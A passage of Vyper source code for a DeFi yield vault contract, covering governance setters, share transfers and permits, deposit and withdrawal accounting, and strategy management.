pending change, and the governance address is not updated until
the proposed governance address has accepted the responsibility.
This may only be called by the current governance address.
@param governance The address requested to take over Vault governance.
"""
assert msg.sender == self.governance
self.pendingGovernance = governance
@external
def acceptGovernance():
"""
@notice
Once a new governance address has been proposed using setGovernance(),
this function may be called by the proposed address to accept the
responsibility of taking over governance for this contract.
This may only be called by the proposed governance address.
@dev
setGovernance() should be called by the existing governance address,
prior to calling this function.
"""
assert msg.sender == self.pendingGovernance
self.governance = msg.sender
log UpdateGovernance(msg.sender)
@external
def setManagement(management: address):
"""
@notice
Changes the management address.
Management is able to make some investment decisions adjusting parameters.
This may only be called by governance.
@param management The address to use for managing.
"""
assert msg.sender == self.governance
self.management = management
log UpdateManagement(management)
@external
def setRewards(rewards: address):
"""
@notice
Changes the rewards address. Any distributed rewards
will cease flowing to the old address and begin flowing
to this address once the change is in effect.
This will not change any Strategy reports in progress, only
new reports made after this change goes into effect.
This may only be called by governance.
@param rewards The address to use for collecting rewards.
"""
assert msg.sender == self.governance
assert not (rewards in [self, ZERO_ADDRESS])
self.rewards = rewards
log UpdateRewards(rewards)
@external
def setLockedProfitDegradation(degradation: uint256):
"""
@notice
Changes the locked profit degradation.
@param degradation The rate of degradation in percent per second scaled to 1e18.
"""
assert msg.sender == self.governance
# Since "degradation" is of type uint256 it can never be less than zero
assert degradation <= DEGRADATION_COEFFICIENT
self.lockedProfitDegradation = degradation
@external
def setDepositLimit(limit: uint256):
"""
@notice
Changes the maximum amount of tokens that can be deposited in this Vault.
Note, this is not how much may be deposited by a single depositor,
but the maximum amount that may be deposited across all depositors.
This may only be called by governance.
@param limit The new deposit limit to use.
"""
assert msg.sender == self.governance
self.depositLimit = limit
log UpdateDepositLimit(limit)
@external
def setPerformanceFee(fee: uint256):
"""
@notice
Used to change the value of `performanceFee`.
Should set this value below the maximum strategist performance fee.
This may only be called by governance.
@param fee The new performance fee to use.
"""
assert msg.sender == self.governance
assert fee <= MAX_BPS / 2
self.performanceFee = fee
log UpdatePerformanceFee(fee)
@external
def setManagementFee(fee: uint256):
"""
@notice
Used to change the value of `managementFee`.
This may only be called by governance.
@param fee The new management fee to use.
"""
assert msg.sender == self.governance
assert fee <= MAX_BPS
self.managementFee = fee
log UpdateManagementFee(fee)
@external
def setGuardian(guardian: address):
"""
@notice
Used to change the address of `guardian`.
This may only be called by governance or the existing guardian.
@param guardian The new guardian address to use.
"""
assert msg.sender in [self.guardian, self.governance]
self.guardian = guardian
log UpdateGuardian(guardian)
@external
def setEmergencyShutdown(active: bool):
"""
@notice
Activates or deactivates Vault mode where all Strategies go into full
withdrawal.
During Emergency Shutdown:
1. No Users may deposit into the Vault (but may withdraw as usual.)
2. Governance may not add new Strategies.
3. Each Strategy must pay back their debt as quickly as reasonable to
minimally affect their position.
4. Only Governance may undo Emergency Shutdown.
See contract level note for further details.
This may only be called by governance or the guardian.
@param active
If true, the Vault goes into Emergency Shutdown. If false, the Vault
goes back into Normal Operation.
"""
if active:
assert msg.sender in [self.guardian, self.governance]
else:
assert msg.sender == self.governance
self.emergencyShutdown = active
log EmergencyShutdown(active)
@external
def setWithdrawalQueue(queue: address[MAXIMUM_STRATEGIES]):
"""
@notice
Updates the withdrawalQueue to match the addresses and order specified
by `queue`.
There can be fewer strategies than the maximum, as well as fewer than
the total number of strategies active in the vault. `withdrawalQueue`
will be updated in a gas-efficient manner, assuming the input is well-
ordered with 0x0 only at the end.
This may only be called by governance or management.
@dev
This is order sensitive, specify the addresses in the order in which
funds should be withdrawn (so `queue`[0] is the first Strategy withdrawn
from, `queue`[1] is the second, etc.)
This means that the least impactful Strategy (the Strategy that will have
its core positions impacted the least by having funds removed) should be
at `queue`[0], then the next least impactful at `queue`[1], and so on.
@param queue
The array of addresses to use as the new withdrawal queue. This is
order sensitive.
"""
assert msg.sender in [self.management, self.governance]
# HACK: Temporary until Vyper adds support for Dynamic arrays
old_queue: address[MAXIMUM_STRATEGIES] = empty(address[MAXIMUM_STRATEGIES])
for i in range(MAXIMUM_STRATEGIES):
old_queue[i] = self.withdrawalQueue[i]
if queue[i] == ZERO_ADDRESS:
# NOTE: Cannot use this method to remove entries from the queue
assert old_queue[i] == ZERO_ADDRESS
break
# NOTE: Cannot use this method to add more entries to the queue
assert old_queue[i] != ZERO_ADDRESS
assert self.strategies[queue[i]].activation > 0
existsInOldQueue: bool = False
for j in range(MAXIMUM_STRATEGIES):
if queue[j] == ZERO_ADDRESS:
existsInOldQueue = True
break
if queue[i] == old_queue[j]:
# NOTE: Ensure that every entry in queue prior to reordering exists now
existsInOldQueue = True
if j <= i:
# NOTE: This will only check for duplicate entries in queue after `i`
continue
assert queue[i] != queue[j] # dev: do not add duplicate strategies
assert existsInOldQueue # dev: do not add new strategies
self.withdrawalQueue[i] = queue[i]
log UpdateWithdrawalQueue(queue)
@internal
def erc20_safe_transfer(token: address, receiver: address, amount: uint256):
# Used only to send tokens that are not the type managed by this Vault.
# HACK: Used to handle non-compliant tokens like USDT
response: Bytes[32] = raw_call(
token,
concat(
method_id("transfer(address,uint256)"),
convert(receiver, bytes32),
convert(amount, bytes32),
),
max_outsize=32,
)
if len(response) > 0:
assert convert(response, bool), "Transfer failed!"
@internal
def erc20_safe_transferFrom(token: address, sender: address, receiver: address, amount: uint256):
# Used only to send tokens that are not the type managed by this Vault.
# HACK: Used to handle non-compliant tokens like USDT
response: Bytes[32] = raw_call(
token,
concat(
method_id("transferFrom(address,address,uint256)"),
convert(sender, bytes32),
convert(receiver, bytes32),
convert(amount, bytes32),
),
max_outsize=32,
)
if len(response) > 0:
assert convert(response, bool), "Transfer failed!"
@internal
def _transfer(sender: address, receiver: address, amount: uint256):
# See note on `transfer()`.
# Protect people from accidentally sending their shares to bad places
assert receiver not in [self, ZERO_ADDRESS]
self.balanceOf[sender] -= amount
self.balanceOf[receiver] += amount
log Transfer(sender, receiver, amount)
@external
def transfer(receiver: address, amount: uint256) -> bool:
"""
@notice
Transfers shares from the caller's address to `receiver`. This function
will always return true, unless the user is attempting to transfer
shares to this contract's address, or to 0x0.
@param receiver
The address shares are being transferred to. Must not be this contract's
address, must not be 0x0.
@param amount The quantity of shares to transfer.
@return
True if transfer is sent to an address other than this contract's or
0x0, otherwise the transaction will fail.
"""
self._transfer(msg.sender, receiver, amount)
return True
@external
def transferFrom(sender: address, receiver: address, amount: uint256) -> bool:
"""
@notice
Transfers `amount` shares from `sender` to `receiver`. This operation will
always return true, unless the user is attempting to transfer shares
to this contract's address, or to 0x0.
Unless the caller has given this contract unlimited approval,
transfering shares will decrement the caller's `allowance` by `amount`.
@param sender The address shares are being transferred from.
@param receiver
The address shares are being transferred to. Must not be this contract's
address, must not be 0x0.
@param amount The quantity of shares to transfer.
@return
True if transfer is sent to an address other than this contract's or
0x0, otherwise the transaction will fail.
"""
# Unlimited approval (saves an SSTORE)
if (self.allowance[sender][msg.sender] < MAX_UINT256):
allowance: uint256 = self.allowance[sender][msg.sender] - amount
self.allowance[sender][msg.sender] = allowance
# NOTE: Allows log filters to have a full accounting of allowance changes
log Approval(sender, msg.sender, allowance)
self._transfer(sender, receiver, amount)
return True
@external
def approve(spender: address, amount: uint256) -> bool:
"""
@dev Approve the passed address to spend the specified amount of tokens on behalf of
`msg.sender`. Beware that changing an allowance with this method brings the risk
that someone may use both the old and the new allowance by unfortunate transaction
ordering. See https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
@param spender The address which will spend the funds.
@param amount The amount of tokens to be spent.
"""
self.allowance[msg.sender][spender] = amount
log Approval(msg.sender, spender, amount)
return True
@external
def increaseAllowance(spender: address, amount: uint256) -> bool:
"""
@dev Increase the allowance of the passed address to spend the total amount of tokens
on behalf of msg.sender. This method mitigates the risk that someone may use both
the old and the new allowance by unfortunate transaction ordering.
See https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
@param spender The address which will spend the funds.
@param amount The amount of tokens to increase the allowance by.
"""
self.allowance[msg.sender][spender] += amount
log Approval(msg.sender, spender, self.allowance[msg.sender][spender])
return True
@external
def decreaseAllowance(spender: address, amount: uint256) -> bool:
"""
@dev Decrease the allowance of the passed address to spend the total amount of tokens
on behalf of msg.sender. This method mitigates the risk that someone may use both
the old and the new allowance by unfortunate transaction ordering.
See https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
@param spender The address which will spend the funds.
@param amount The amount of tokens to decrease the allowance by.
"""
self.allowance[msg.sender][spender] -= amount
log Approval(msg.sender, spender, self.allowance[msg.sender][spender])
return True
@external
def permit(owner: address, spender: address, amount: uint256, expiry: uint256, signature: Bytes[65]) -> bool:
"""
@notice
Approves spender by owner's signature to expend owner's tokens.
See https://eips.ethereum.org/EIPS/eip-2612.
@param owner The address which is a source of funds and has signed the Permit.
@param spender The address which is allowed to spend the funds.
@param amount The amount of tokens to be spent.
@param expiry The timestamp after which the Permit is no longer valid.
@param signature A valid secp256k1 signature of Permit by owner encoded as r, s, v.
@return True, if transaction completes successfully
"""
assert owner != ZERO_ADDRESS # dev: invalid owner
assert expiry == 0 or expiry >= block.timestamp # dev: permit expired
nonce: uint256 = self.nonces[owner]
digest: bytes32 = keccak256(
concat(
b'\x19\x01',
self.DOMAIN_SEPARATOR,
keccak256(
concat(
PERMIT_TYPE_HASH,
convert(owner, bytes32),
convert(spender, bytes32),
convert(amount, bytes32),
convert(nonce, bytes32),
convert(expiry, bytes32),
)
)
)
)
# NOTE: signature is packed as r, s, v
r: uint256 = convert(slice(signature, 0, 32), uint256)
s: uint256 = convert(slice(signature, 32, 32), uint256)
v: uint256 = convert(slice(signature, 64, 1), uint256)
assert ecrecover(digest, v, r, s) == owner # dev: invalid signature
self.allowance[owner][spender] = amount
self.nonces[owner] = nonce + 1
log Approval(owner, spender, amount)
return True
@view
@internal
def _totalAssets() -> uint256:
# See note on `totalAssets()`.
return self.token.balanceOf(self) + self.totalDebt
@view
@external
def totalAssets() -> uint256:
"""
@notice
Returns the total quantity of all assets under control of this
Vault, whether they're loaned out to a Strategy, or currently held in
the Vault.
@return The total assets under control of this Vault.
"""
return self._totalAssets()
@view
@internal
def _calculateLockedProfit() -> uint256:
lockedFundsRatio: uint256 = (block.timestamp - self.lastReport) * self.lockedProfitDegradation
if(lockedFundsRatio < DEGRADATION_COEFFICIENT):
lockedProfit: uint256 = self.lockedProfit
return lockedProfit - (
lockedFundsRatio
* lockedProfit
/ DEGRADATION_COEFFICIENT
)
else:
return 0
@view
@internal
def _freeFunds() -> uint256:
return self._totalAssets() - self._calculateLockedProfit()
@internal
def _issueSharesForAmount(to: address, amount: uint256) -> uint256:
# Issues `amount` Vault shares to `to`.
# Shares must be issued prior to taking on new collateral, or
# calculation will be wrong. This means that only *trusted* tokens
# (with no capability for exploitative behavior) can be used.
shares: uint256 = 0
# HACK: Saves 2 SLOADs (~200 gas, post-Berlin)
totalSupply: uint256 = self.totalSupply
if totalSupply > 0:
# Mint amount of shares based on what the Vault is managing overall
# NOTE: if sqrt(token.totalSupply()) > 1e39, this could potentially revert
shares = amount * totalSupply / self._freeFunds() # dev: no free funds
else:
# No existing shares, so mint 1:1
shares = amount
assert shares != 0 # dev: division rounding resulted in zero
# Mint new shares
self.totalSupply = totalSupply + shares
self.balanceOf[to] += shares
log Transfer(ZERO_ADDRESS, to, shares)
return shares
@external
@nonreentrant("withdraw")
def deposit(_amount: uint256 = MAX_UINT256, recipient: address = msg.sender) -> uint256:
"""
@notice
Deposits `_amount` `token`, issuing shares to `recipient`. If the
Vault is in Emergency Shutdown, deposits will not be accepted and this
call will fail.
@dev
Measuring quantity of shares to issues is based on the total
outstanding debt that this contract has ("expected value") instead
of the total balance sheet it has ("estimated value") has important
security considerations, and is done intentionally. If this value were
measured against external systems, it could be purposely manipulated by
an attacker to withdraw more assets than they otherwise should be able
to claim by redeeming their shares.
On deposit, this means that shares are issued against the total amount
that the deposited capital can be given in service of the debt that
Strategies assume. If that number were to be lower than the "expected
value" at some future point, depositing shares via this method could
entitle the depositor to *less* than the deposited value once the
"realized value" is updated from further reports by the Strategies
to the Vaults.
Care should be taken by integrators to account for this discrepancy,
by using the view-only methods of this contract (both off-chain and
on-chain) to determine if depositing into the Vault is a "good idea".
@param _amount The quantity of tokens to deposit, defaults to all.
@param recipient
The address to issue the shares in this Vault to. Defaults to the
caller's address.
@return The issued Vault shares.
"""
assert not self.emergencyShutdown # Deposits are locked out
assert recipient not in [self, ZERO_ADDRESS]
amount: uint256 = _amount
# If _amount not specified, transfer the full token balance,
# up to deposit limit
if amount == MAX_UINT256:
amount = min(
self.depositLimit - self._totalAssets(),
self.token.balanceOf(msg.sender),
)
else:
# Ensure deposit limit is respected
assert self._totalAssets() + amount <= self.depositLimit
# Ensure we are depositing something
assert amount > 0
# Issue new shares (needs to be done before taking deposit to be accurate)
# Shares are issued to recipient (may be different from msg.sender)
# See @dev note, above.
shares: uint256 = self._issueSharesForAmount(recipient, amount)
# Tokens are transferred from msg.sender (may be different from _recipient)
self.erc20_safe_transferFrom(self.token.address, msg.sender, self, amount)
return shares # Just in case someone wants them
@view
@internal
def _shareValue(shares: uint256) -> uint256:
# Returns price = 1:1 if vault is empty
if self.totalSupply == 0:
return shares
# Determines the current value of `shares`.
# NOTE: if sqrt(Vault.totalAssets()) >>> 1e39, this could potentially revert
return (
shares
* self._freeFunds()
/ self.totalSupply
)
@view
@internal
def _sharesForAmount(amount: uint256) -> uint256:
# Determines how many shares `amount` of token would receive.
# See dev note on `deposit`.
_freeFunds: uint256 = self._freeFunds()
if _freeFunds > 0:
# NOTE: if sqrt(token.totalSupply()) > 1e37, this could potentially revert
return (
amount
* self.totalSupply
/ _freeFunds
)
else:
return 0
@view
@external
def maxAvailableShares() -> uint256:
"""
@notice
Determines the maximum quantity of shares this Vault can facilitate a
withdrawal for, factoring in assets currently residing in the Vault,
as well as those deployed to strategies on the Vault's balance sheet.
@dev
Regarding how shares are calculated, see dev note on `deposit`.
If you want to calculated the maximum a user could withdraw up to,
you want to use this function.
Note that the amount provided by this function is the theoretical
maximum possible from withdrawing, the real amount depends on the
realized losses incurred during withdrawal.
@return The total quantity of shares this Vault can provide.
"""
shares: uint256 = self._sharesForAmount(self.token.balanceOf(self))
for strategy in self.withdrawalQueue:
if strategy == ZERO_ADDRESS:
break
shares += self._sharesForAmount(self.strategies[strategy].totalDebt)
return shares
@internal
def _reportLoss(strategy: address, loss: uint256):
# Loss can only be up the amount of debt issued to strategy
totalDebt: uint256 = self.strategies[strategy].totalDebt
assert totalDebt >= loss
# Also, make sure we reduce our trust with the strategy by the amount of loss
if self.debtRatio != 0: # if vault with single strategy that is set to EmergencyOne
# NOTE: The context to this calculation is different than the calculation in `_reportLoss`,
# this calculation intentionally approximates via `totalDebt` to avoid manipulatable results
ratio_change: uint256 = min(
# NOTE: This calculation isn't 100% precise, the adjustment is ~10%-20% more severe due to EVM math
loss * self.debtRatio / self.totalDebt,
self.strategies[strategy].debtRatio,
)
self.strategies[strategy].debtRatio -= ratio_change
self.debtRatio -= ratio_change
# Finally, adjust our strategy's parameters by the loss
self.strategies[strategy].totalLoss += loss
self.strategies[strategy].totalDebt = totalDebt - loss
self.totalDebt -= loss
@external
@nonreentrant("withdraw")
def withdraw(
maxShares: uint256 = MAX_UINT256,
recipient: address = msg.sender,
maxLoss: uint256 = 1, # 0.01% [BPS]
) -> uint256:
"""
@notice
Withdraws the calling account's tokens from this Vault, redeeming
amount `_shares` for an appropriate amount of tokens.
See note on `setWithdrawalQueue` for further details of withdrawal
ordering and behavior.
@dev
Measuring the value of shares is based on the total outstanding debt
that this contract has ("expected value") instead of the total balance
sheet it has ("estimated value") has important security considerations,
and is done intentionally. If this value were measured against external
systems, it could be purposely manipulated by an attacker to withdraw
more assets than they otherwise should be able to claim by redeeming
their shares.
On withdrawal, this means that shares are redeemed against the total
amount that the deposited capital had "realized" since the point it
was deposited, up until the point it was withdrawn. If that number
were to be higher than the "expected value" at some future point,
withdrawing shares via this method could entitle the depositor to
*more* than the expected value once the "realized value" is updated
from further reports by the Strategies to the Vaults.
Under exceptional scenarios, this could cause earlier withdrawals to
earn "more" of the underlying assets than Users might otherwise be
entitled to, if the Vault's estimated value were otherwise measured
through external means, accounting for whatever exceptional scenarios
exist for the Vault (that aren't covered by the Vault's own design.)
In the situation where a large withdrawal happens, it can empty the
vault balance and the strategies in the withdrawal queue.
Strategies not in the withdrawal queue will have to be harvested to
rebalance the funds and make the funds available again to withdraw.
@param maxShares
How many shares to try and redeem for tokens, defaults to all.
@param recipient
The address to issue the shares in this Vault to. Defaults to the
caller's address.
@param maxLoss
The maximum acceptable loss to sustain on withdrawal. Defaults to 0.01%.
If a loss is specified, up to that amount of shares may be burnt to cover losses on withdrawal.
@return The quantity of tokens redeemed for `_shares`.
"""
shares: uint256 = maxShares # May reduce this number below
# Max Loss is <=100%, revert otherwise
assert maxLoss <= MAX_BPS
# If _shares not specified, transfer full share balance
if shares == MAX_UINT256:
shares = self.balanceOf[msg.sender]
# Limit to only the shares they own
assert shares <= self.balanceOf[msg.sender]
# Ensure we are withdrawing something
assert shares > 0
# See @dev note, above.
value: uint256 = self._shareValue(shares)
if value > self.token.balanceOf(self):
totalLoss: uint256 = 0
# We need to go get some from our strategies in the withdrawal queue
# NOTE: This performs forced withdrawals from each Strategy. During
# forced withdrawal, a Strategy may realize a loss. That loss
# is reported back to the Vault, and the will affect the amount
# of tokens that the withdrawer receives for their shares. They
# can optionally specify the maximum acceptable loss (in BPS)
# to prevent excessive losses on their withdrawals (which may
# happen in certain edge cases where Strategies realize a loss)
for strategy in self.withdrawalQueue:
if strategy == ZERO_ADDRESS:
break # We've exhausted the queue
vault_balance: uint256 = self.token.balanceOf(self)
if value <= vault_balance:
break # We're done withdrawing
amountNeeded: uint256 = value - vault_balance
# NOTE: Don't withdraw more than the debt so that Strategy can still
# continue to work based on the profits it has
# NOTE: This means that user will lose out on any profits that each
# Strategy in the queue would return on next harvest, benefiting others
amountNeeded = min(amountNeeded, self.strategies[strategy].totalDebt)
if amountNeeded == 0:
continue # Nothing to withdraw from this Strategy, try the next one
# Force withdraw amount from each Strategy in the order set by governance
loss: uint256 = Strategy(strategy).withdraw(amountNeeded)
withdrawn: uint256 = self.token.balanceOf(self) - vault_balance
# NOTE: Withdrawer incurs any losses from liquidation
if loss > 0:
value -= loss
totalLoss += loss
self._reportLoss(strategy, loss)
# Reduce the Strategy's debt by the amount withdrawn ("realized returns")
# NOTE: This doesn't add to returns as it's not earned by "normal means"
self.strategies[strategy].totalDebt -= withdrawn
self.totalDebt -= withdrawn
# NOTE: We have withdrawn everything possible out of the withdrawal queue
# but we still don't have enough to fully pay them back, so adjust
# to the total amount we've freed up through forced withdrawals
vault_balance: uint256 = self.token.balanceOf(self)
if value > vault_balance:
value = vault_balance
# NOTE: Burn # of shares that corresponds to what Vault has on-hand,
# including the losses that were incurred above during withdrawals
shares = self._sharesForAmount(value + totalLoss)
# NOTE: This loss protection is put in place to revert if losses from
# withdrawing are more than what is considered acceptable.
assert totalLoss <= maxLoss * (value + totalLoss) / MAX_BPS
# Burn shares (full value of what is being withdrawn)
self.totalSupply -= shares
self.balanceOf[msg.sender] -= shares
log Transfer(msg.sender, ZERO_ADDRESS, shares)
# Withdraw remaining balance to _recipient (may be different to msg.sender) (minus fee)
self.erc20_safe_transfer(self.token.address, recipient, value)
return value
@view
@external
def pricePerShare() -> uint256:
"""
@notice Gives the price for a single Vault share.
@dev See dev note on `withdraw`.
@return The value of a single share.
"""
return self._shareValue(10 ** self.decimals)
@internal
def _organizeWithdrawalQueue():
# Reorganize `withdrawalQueue` based on premise that if there is an
# empty value between two actual values, then the empty value should be
# replaced by the later value.
# NOTE: Relative ordering of non-zero values is maintained.
offset: uint256 = 0
for idx in range(MAXIMUM_STRATEGIES):
strategy: address = self.withdrawalQueue[idx]
if strategy == ZERO_ADDRESS:
offset += 1 # how many values we need to shift, always `<= idx`
elif offset > 0:
self.withdrawalQueue[idx - offset] = strategy
self.withdrawalQueue[idx] = ZERO_ADDRESS
@external
def addStrategy(
strategy: address,
debtRatio: uint256,
minDebtPerHarvest: uint256,
maxDebtPerHarvest: uint256,
performanceFee: uint256,
):
"""
@notice
Add a Strategy to the Vault.
This may only be called by governance.
@dev
The Strategy will be appended to `withdrawalQueue`, call
`setWithdrawalQueue` to change the order.
@param strategy The address of the Strategy to add.
@param debtRatio
The share of the total assets in the `vault that the `strategy` has access to.
@param minDebtPerHarvest
Lower limit on the increase of debt since last harvest
@param maxDebtPerHarvest
Upper limit on the increase of debt since last harvest
@param performanceFee
The fee the strategist will receive based on this Vault's performance.
"""
# Check if queue is full
assert self.withdrawalQueue[MAXIMUM_STRATEGIES - 1] == ZERO_ADDRESS
# Check calling conditions
assert not self.emergencyShutdown
assert msg.sender == self.governance
# Check strategy configuration
assert strategy != ZERO_ADDRESS
assert self.strategies[strategy].activation == 0
assert self == Strategy(strategy).vault()
assert self.token.address == Strategy(strategy).want()
# Check strategy parameters
assert self.debtRatio + debtRatio <= MAX_BPS
assert minDebtPerHarvest <= maxDebtPerHarvest
assert performanceFee <= MAX_BPS / 2
# Add strategy to approved strategies
self.strategies[strategy] = StrategyParams({
performanceFee: performanceFee,
activation: block.timestamp,
debtRatio: debtRatio,
minDebtPerHarvest: minDebtPerHarvest,
maxDebtPerHarvest: maxDebtPerHarvest,
lastReport: block.timestamp,
totalDebt: 0,
totalGain: 0,
totalLoss: 0,
})
log StrategyAdded(strategy, debtRatio, minDebtPerHarvest, maxDebtPerHarvest, performanceFee)
# Update Vault parameters
self.debtRatio += debtRatio
# Add strategy to the end of the withdrawal queue
self.withdrawalQueue[MAXIMUM_STRATEGIES - 1] = strategy
self._organizeWithdrawalQueue()
@external
def updateStrategyDebtRatio(
strategy: address,
debtRatio: uint256,
):
"""
@notice
Change the quantity of assets `strategy` may manage.
This may be called by governance or management.
@param strategy The Strategy to update.
@param debtRatio The quantity of assets `strategy` may now manage.
"""
assert msg.sender in [self.management, self.governance]
assert self.strategies[strategy].activation > 0
self.debtRatio -= self.strategies[strategy].debtRatio
self.strategies[strategy].debtRatio = debtRatio
self.debtRatio += debtRatio
assert self.debtRatio <= MAX_BPS
log StrategyUpdateDebtRatio(strategy, debtRatio)
@external
def updateStrategyMinDebtPerHarvest(
strategy: address,
minDebtPerHarvest: uint256,
):
"""
@notice
Change the quantity assets per block this Vault may deposit to or
withdraw from `strategy`.
This may only be called by governance or management.
@param strategy The Strategy to update.
@param minDebtPerHarvest
Lower limit on the increase of debt since last harvest
"""
assert msg.sender in [self.management, self.governance]
assert self.strategies[strategy].activation > 0
assert self.strategies[strategy].maxDebtPerHarvest >= minDebtPerHarvest
self.strategies[strategy].minDebtPerHarvest = minDebtPerHarvest
log StrategyUpdateMinDebtPerHarvest(strategy, minDebtPerHarvest)
@external
def updateStrategyMaxDebtPerHarvest(
strategy: address,
maxDebtPerHarvest: uint256,
):
"""
@notice
Change the quantity assets per block this Vault may deposit to or
withdraw from `strategy`.
This may only be called by governance or management.
@param strategy The Strategy to update.
@param maxDebtPerHarvest
Upper limit on the increase of debt since last harvest
"""
assert msg.sender in [self.management, self.governance]
assert self.strategies[strategy].activation > 0
assert self.strategies[strategy].minDebtPerHarvest <= maxDebtPerHarvest
self.strategies[strategy].maxDebtPerHarvest = maxDebtPerHarvest
log StrategyUpdateMaxDebtPerHarvest(strategy, maxDebtPerHarvest)
@external
def updateStrategyPerformanceFee(
strategy: address,
performanceFee: uint256,
):
"""
@notice
Change the fee the strategist will receive based on this Vault's
performance.
This may only be called by governance.
@param strategy The Strategy to update.
@param performanceFee The new fee the strategist will receive.
"""
assert msg.sender == self.governance
assert performanceFee <= MAX_BPS / 2
assert self.strategies[strategy].activation > 0
self.strategies[strategy].performanceFee = performanceFee
log StrategyUpdatePerformanceFee(strategy, performanceFee)
@internal
def _revokeStrategy(strategy: address):
self.debtRatio -= self.strategies[strategy].debtRatio
self.strategies[strategy].debtRatio = 0
log StrategyRevoked(strategy)
@external
def migrateStrategy(oldVersion: address, newVersion: address):
"""
@notice
Migrates a Strategy, including all assets from `oldVersion` to
`newVersion`.
This may only be called by governance.
@dev
Strategy must successfully migrate all capital and positions to new
Strategy, or else this will upset the balance of the Vault.
The new Strategy should be "empty" e.g. have no prior commitments to
this Vault, otherwise it could have issues.
@param oldVersion The existing Strategy to migrate from.
@param newVersion The new Strategy to migrate to.
"""
assert msg.sender == self.governance
assert newVersion != ZERO_ADDRESS
assert self.strategies[oldVersion].activation > 0
assert self.strategies[newVersion].activation == 0
strategy: StrategyParams = self.strategies[oldVersion]
self._revokeStrategy(oldVersion)
# _revokeStrategy will lower the debtRatio
self.debtRatio += strategy.debtRatio
# Debt is migrated to new strategy
self.strategies[oldVersion].totalDebt = 0
self.strategies[newVersion] = StrategyParams({
performanceFee: strategy.performanceFee,
# NOTE: use last report for activation time, so E[R] calc works
activation: strategy.lastReport,
debtRatio: strategy.debtRatio,
minDebtPerHarvest: strategy.minDebtPerHarvest,
maxDebtPerHarvest: strategy.maxDebtPerHarvest,
lastReport: strategy.lastReport,
totalDebt: strategy.totalDebt,
totalGain: 0,
totalLoss: 0,
})
Strategy(oldVersion).migrate(newVersion)
log StrategyMigrated(oldVersion, newVersion)
for idx in range(MAXIMUM_STRATEGIES):
if self.withdrawalQueue[idx] == oldVersion:
self.withdrawalQueue[idx] = newVersion
return # Don't need to reorder anything because we swapped
@external
def revokeStrategy(strategy: address = msg.sender):
"""
@notice
Revoke a Strategy, setting its debt limit to 0 and preventing any
future deposits.
This function should only be used in the scenario where the Strategy is
being retired but no migration of the positions are possible, or in the
extreme scenario that the Strategy needs to be put into "Emergency Exit"
mode in order for it to exit as quickly as possible. The latter scenario
could be for any reason that is considered "critical" that the Strategy
exits its position as fast as possible, such as a sudden change in market
conditions leading to losses, or an imminent failure in an external
dependency.
This may only be called by governance, the guardian, or the Strategy
itself. Note that a Strategy will only revoke itself during emergency
shutdown.
@param strategy The Strategy to revoke.
"""
assert msg.sender in [strategy, self.governance, self.guardian]
assert self.strategies[strategy].debtRatio != 0 # dev: already zero
self._revokeStrategy(strategy)
@external
def addStrategyToQueue(strategy: address):
"""
@notice
Adds `strategy` to `withdrawalQueue`.
This may only be called by governance or management.
@dev
The Strategy will be appended to `withdrawalQueue`, call
`setWithdrawalQueue` to change the order.
@param strategy The Strategy to add.
"""
assert msg.sender in [self.management, self.governance]
# Must be a current Strategy
assert self.strategies[strategy].activation > 0
# Can't already be in the queue
last_idx: uint256 = 0
for s in self.withdrawalQueue:
if s == ZERO_ADDRESS:
break
assert s != strategy
last_idx += 1
# Check if queue is full
assert last_idx < MAXIMUM_STRATEGIES
self.withdrawalQueue[MAXIMUM_STRATEGIES - 1] = strategy
self._organizeWithdrawalQueue()
log StrategyAddedToQueue(strategy)
@external
def removeStrategyFromQueue(strategy: address):
"""
@notice
Remove `strategy` from `withdrawalQueue`.
This may only be called by governance or management.
@dev
We don't do this with revokeStrategy because it should still
be possible to withdraw from the Strategy if it's unwinding.
@param strategy The Strategy to remove.
"""
assert msg.sender in [self.management, self.governance]
for idx in range(MAXIMUM_STRATEGIES):
if self.withdrawalQueue[idx] == strategy:
self.withdrawalQueue[idx] = ZERO_ADDRESS
self._organizeWithdrawalQueue()
log StrategyRemovedFromQueue(strategy)
return # We found the right location and cleared it
raise # We didn't find the Strategy in the queue
@view
@internal
def _debtOutstanding(strategy: address) -> uint256:
# See note on `debtOutstanding()`.
if self.debtRatio == 0:
return self.strategies[strategy].totalDebt
strategy_debtLimit: uint256 = (
self.strategies[strategy].debtRatio
* self._totalAssets()
/ MAX_BPS
)
strategy_totalDebt: uint256 = self.strategies[strategy].totalDebt
if self.emergencyShutdown:
return strategy_totalDebt
elif strategy_totalDebt <= strategy_debtLimit:
return 0
else:
return strategy_totalDebt - strategy_debtLimit
@view
@external
def debtOutstanding(strategy: address = msg.sender) -> uint256:
"""
@notice
Determines if `strategy` is past its debt limit and if any tokens
should be withdrawn to the Vault.
@param strategy The Strategy to check. Defaults to the caller.
@return The quantity of tokens to withdraw.
"""
return self._debtOutstanding(strategy)
@view
@internal
def _creditAvailable(strategy: address) -> uint256:
# See note on `creditAvailable()`.
if self.emergencyShutdown:
return 0
vault_totalAssets: uint256 = self._totalAssets()
vault_debtLimit: uint256 = self.debtRatio * vault_totalAssets / MAX_BPS
vault_totalDebt: uint256 = self.totalDebt
strategy_debtLimit: uint256 = self.strategies[strategy].debtRatio * vault_totalAssets / MAX_BPS
strategy_totalDebt: uint256 = self.strategies[strategy].totalDebt
strategy_minDebtPerHarvest: uint256 = self.strategies[strategy].minDebtPerHarvest
strategy_maxDebtPerHarvest: uint256 = self.strategies[strategy].maxDebtPerHarvest
# Exhausted credit line
if strategy_debtLimit <= strategy_totalDebt or vault_debtLimit <= vault_totalDebt:
return 0
# Start with debt limit left for the Strategy
available: uint256 = strategy_debtLimit - strategy_totalDebt
# Adjust by the global debt limit left
available = min(available, vault_debtLimit - vault_totalDebt)
# Can only borrow up to what the contract has in reserve
# NOTE: Running near 100% is discouraged
available = min(available, self.token.balanceOf(self))
# Adjust by min and max borrow limits (per harvest)
# NOTE: min increase can be used to ensure that if a strategy has a minimum
# amount of capital needed to purchase a position, it's not given capital
# it can't make use of yet.
# NOTE: max increase is used to make sure each harvest isn't bigger than what
# is authorized. This combined with adjusting min and max periods in
# `BaseStrategy` can be used to effect a "rate limit" on capital increase.
if available < strategy_minDebtPerHarvest:
return 0
else:
return min(available, strategy_maxDebtPerHarvest)
@view
@external
def creditAvailable(strategy: address = msg.sender) -> uint256:
"""
@notice
Amount of tokens in Vault a Strategy has access to as a credit line.
This will check the Strategy's debt limit, as well as the tokens
available in the Vault, and determine the maximum amount of tokens
